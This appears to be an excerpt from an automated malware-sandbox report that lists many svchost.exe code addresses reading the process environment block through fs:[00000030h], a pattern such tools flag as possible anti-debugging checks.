Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D05227 mov eax, dword ptr fs:[00000030h]	2_2_03D05227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2823B mov eax, dword ptr fs:[00000030h]	2_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	2_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6D1D0 mov eax, dword ptr fs:[00000030h]	2_2_03C6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6D1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03C6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	2_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D051CB mov eax, dword ptr fs:[00000030h]	2_2_03D051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C551EF mov eax, dword ptr fs:[00000030h]	2_2_03C551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C351ED mov eax, dword ptr fs:[00000030h]	2_2_03C351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD71F9 mov esi, dword ptr fs:[00000030h]	2_2_03CD71F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D061E5 mov eax, dword ptr fs:[00000030h]	2_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C601F8 mov eax, dword ptr fs:[00000030h]	2_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C70185 mov eax, dword ptr fs:[00000030h]	2_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]	2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC188 mov eax, dword ptr fs:[00000030h]	2_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB019F mov eax, dword ptr fs:[00000030h]	2_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A197 mov eax, dword ptr fs:[00000030h]	2_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C87190 mov eax, dword ptr fs:[00000030h]	2_2_03C87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03CE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4B1B0 mov eax, dword ptr fs:[00000030h]	2_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D05152 mov eax, dword ptr fs:[00000030h]	2_2_03D05152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov ecx, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC4144 mov eax, dword ptr fs:[00000030h]	2_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29148 mov eax, dword ptr fs:[00000030h]	2_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29148 mov eax, dword ptr fs:[00000030h]	2_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29148 mov eax, dword ptr fs:[00000030h]	2_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C29148 mov eax, dword ptr fs:[00000030h]	2_2_03C29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C37152 mov eax, dword ptr fs:[00000030h]	2_2_03C37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C156 mov eax, dword ptr fs:[00000030h]	2_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC8158 mov eax, dword ptr fs:[00000030h]	2_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]	2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36154 mov eax, dword ptr fs:[00000030h]	2_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F172 mov eax, dword ptr fs:[00000030h]	2_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC9179 mov eax, dword ptr fs:[00000030h]	2_2_03CC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov ecx, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDA118 mov eax, dword ptr fs:[00000030h]	2_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF0115 mov eax, dword ptr fs:[00000030h]	2_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C60124 mov eax, dword ptr fs:[00000030h]	2_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C31131 mov eax, dword ptr fs:[00000030h]	2_2_03C31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C31131 mov eax, dword ptr fs:[00000030h]	2_2_03C31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B136 mov eax, dword ptr fs:[00000030h]	2_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B136 mov eax, dword ptr fs:[00000030h]	2_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B136 mov eax, dword ptr fs:[00000030h]	2_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B136 mov eax, dword ptr fs:[00000030h]	2_2_03C2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov ecx, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C470C0 mov eax, dword ptr fs:[00000030h]	2_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D050D9 mov eax, dword ptr fs:[00000030h]	2_2_03D050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03CAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD0C0 mov eax, dword ptr fs:[00000030h]	2_2_03CAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB20DE mov eax, dword ptr fs:[00000030h]	2_2_03CB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C590DB mov eax, dword ptr fs:[00000030h]	2_2_03C590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C550E4 mov eax, dword ptr fs:[00000030h]	2_2_03C550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C550E4 mov ecx, dword ptr fs:[00000030h]	2_2_03C550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_03C2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C380E9 mov eax, dword ptr fs:[00000030h]	2_2_03C380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB60E0 mov eax, dword ptr fs:[00000030h]	2_2_03CB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]	2_2_03C2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C720F0 mov ecx, dword ptr fs:[00000030h]	2_2_03C720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3208A mov eax, dword ptr fs:[00000030h]	2_2_03C3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2D08D mov eax, dword ptr fs:[00000030h]	2_2_03C2D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C35096 mov eax, dword ptr fs:[00000030h]	2_2_03C35096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5D090 mov eax, dword ptr fs:[00000030h]	2_2_03C5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5D090 mov eax, dword ptr fs:[00000030h]	2_2_03C5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6909C mov eax, dword ptr fs:[00000030h]	2_2_03C6909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC80A8 mov eax, dword ptr fs:[00000030h]	2_2_03CC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov eax, dword ptr fs:[00000030h]	2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]	2_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32050 mov eax, dword ptr fs:[00000030h]	2_2_03C32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD705E mov ebx, dword ptr fs:[00000030h]	2_2_03CD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD705E mov eax, dword ptr fs:[00000030h]	2_2_03CD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5B052 mov eax, dword ptr fs:[00000030h]	2_2_03C5B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6050 mov eax, dword ptr fs:[00000030h]	2_2_03CB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB106E mov eax, dword ptr fs:[00000030h]	2_2_03CB106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D05060 mov eax, dword ptr fs:[00000030h]	2_2_03D05060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov ecx, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41070 mov eax, dword ptr fs:[00000030h]	2_2_03C41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5C073 mov eax, dword ptr fs:[00000030h]	2_2_03C5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAD070 mov ecx, dword ptr fs:[00000030h]	2_2_03CAD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4000 mov ecx, dword ptr fs:[00000030h]	2_2_03CB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E016 mov eax, dword ptr fs:[00000030h]	2_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2A020 mov eax, dword ptr fs:[00000030h]	2_2_03C2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C020 mov eax, dword ptr fs:[00000030h]	2_2_03C2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF903E mov eax, dword ptr fs:[00000030h]	2_2_03CF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF903E mov eax, dword ptr fs:[00000030h]	2_2_03CF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF903E mov eax, dword ptr fs:[00000030h]	2_2_03CF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF903E mov eax, dword ptr fs:[00000030h]	2_2_03CF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C357C0 mov eax, dword ptr fs:[00000030h]	2_2_03C357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C357C0 mov eax, dword ptr fs:[00000030h]	2_2_03C357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C357C0 mov eax, dword ptr fs:[00000030h]	2_2_03C357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB07C3 mov eax, dword ptr fs:[00000030h]	2_2_03CB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3D7E0 mov ecx, dword ptr fs:[00000030h]	2_2_03C3D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C527ED mov eax, dword ptr fs:[00000030h]	2_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]	2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C347FB mov eax, dword ptr fs:[00000030h]	2_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEF78A mov eax, dword ptr fs:[00000030h]	2_2_03CEF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB97A9 mov eax, dword ptr fs:[00000030h]	2_2_03CB97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBF7AF mov eax, dword ptr fs:[00000030h]	2_2_03CBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBF7AF mov eax, dword ptr fs:[00000030h]	2_2_03CBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBF7AF mov eax, dword ptr fs:[00000030h]	2_2_03CBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBF7AF mov eax, dword ptr fs:[00000030h]	2_2_03CBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBF7AF mov eax, dword ptr fs:[00000030h]	2_2_03CBF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D037B6 mov eax, dword ptr fs:[00000030h]	2_2_03D037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C307AF mov eax, dword ptr fs:[00000030h]	2_2_03C307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5D7B0 mov eax, dword ptr fs:[00000030h]	2_2_03C5D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2F7BA mov eax, dword ptr fs:[00000030h]	2_2_03C2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43740 mov eax, dword ptr fs:[00000030h]	2_2_03C43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43740 mov eax, dword ptr fs:[00000030h]	2_2_03C43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43740 mov eax, dword ptr fs:[00000030h]	2_2_03C43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov esi, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6674D mov eax, dword ptr fs:[00000030h]	2_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30750 mov eax, dword ptr fs:[00000030h]	2_2_03C30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]	2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72750 mov eax, dword ptr fs:[00000030h]	2_2_03C72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D03749 mov eax, dword ptr fs:[00000030h]	2_2_03D03749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB4755 mov eax, dword ptr fs:[00000030h]	2_2_03CB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B765 mov eax, dword ptr fs:[00000030h]	2_2_03C2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B765 mov eax, dword ptr fs:[00000030h]	2_2_03C2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B765 mov eax, dword ptr fs:[00000030h]	2_2_03C2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2B765 mov eax, dword ptr fs:[00000030h]	2_2_03C2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38770 mov eax, dword ptr fs:[00000030h]	2_2_03C38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40770 mov eax, dword ptr fs:[00000030h]	2_2_03C40770
